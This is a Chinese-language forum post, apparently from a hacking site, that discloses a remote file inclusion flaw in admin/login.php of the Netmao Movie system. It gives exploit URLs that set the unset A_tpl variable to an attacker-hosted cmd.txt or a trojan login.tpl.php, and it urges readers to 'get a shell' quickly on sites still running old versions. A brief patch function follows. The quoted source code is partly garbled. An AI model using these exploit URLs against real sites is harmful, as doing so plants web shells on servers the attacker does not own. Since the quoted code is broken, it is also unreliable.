IceskYsl在NOHACK上发表的php漏洞专题。第一次就是包含文件漏洞。
那今天我就很快找到了一个,不敢独享!呵呵。
程序:Netmao Movie网猫电影系统。
说明下:现在它的最新版本是3.0,由于加密了,所以就不好继续研究。
不过网上使用的很多都不是最新的版本。所以想拿shell的要赶快哦。
漏洞文件:admin目录下的login.php文件。
代码:
if($action==’login’){
@session_start退出!",’?file=login’);
}
else
{
include $A_tpl.’/login.tpl.php’;
}
我们直奔else语句里的代码。变量A_tpl 没赋值,直接拿来用。
直接输入admin/login.php可以暴出路径。
EXP:
⑴
admin/login.php?A_tpl=http://www.xxxx.com/cmd.txt?
⑵
在一个不支持php脚本的空间建立一个login.tpl.php(当然是自己的脚本木马咯)
访问admin/login.php?A_tpl=http://www.xxxx.com 即可。
好了,结束。。初来~请各位牛人多多指教。
---------------------------------------------------------------------------------------------------
修补漏洞的方案:
function StopRemoteInclude($InclueName){
if(strpos($InclueName,’\\’)!==false){
return substr($InclueName,0,strrpos($InclueName,’\\’));
}elseif(strpos($InclueName,’/’)!==false){
return substr($InclueName,0,strrpos($InclueName,’/’));
}else{
return ’/’;
}
}
define(’S_Dir’,__FILE__?StopRemoteInclude(__FILE__).’/’ : ’./’);
-------------------------------------------------------------------------------------------------------------